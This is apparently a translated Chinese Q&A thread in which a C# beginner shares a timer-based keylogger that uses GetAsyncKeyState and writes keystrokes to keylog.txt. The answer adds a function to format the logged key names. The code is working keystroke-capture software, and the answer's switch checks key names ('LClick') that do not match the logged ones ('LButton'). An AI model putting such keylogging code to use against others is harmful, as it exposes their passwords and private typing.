我是新手,还在学习C#
我有这个简单的代码(我从一个网站获得),它捕获击键并将其保存在一个文件中:
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public Form1()
{
InitializeComponent();
timer1.Tick += new EventHandler(timer1_Tick);
timer1.Start();
}
string text = "";
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
private void WriteToText(string value)
{
StreamWriter stream = new StreamWriter("keylog.txt",true);
stream.Write(value);
stream.Close();
}
然而,keylog.txt
中的文字是这样的:
D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon
等......
但我想要的就是这样(格式化或安排):
123456[LeftClick][RightClick] ASD,.;
我该怎么做?我应该添加什么代码?
答案 0 :(得分:2)
您可以添加其他功能来重命名所有键:
string RenameKey(string keyName)
{
switch(keyName)
{
case "LClick":
return "[LeftClick]";
break;
case "RClick":
return "[RightClick]";
break;
default:
return keyName;
}
}
或者像我一样懒惰:
string RenameKey(string keyName)
{
if(keyName.Length > 1) return "[" + keyName + "]";
return keyName;
}
只需更改顶部的方法即可使用此功能:
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += RenameKey(Enum.GetName(typeof(Keys), i));
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
这条线说:
buffer += RenameKey(Enum.GetName(typeof(Keys), i));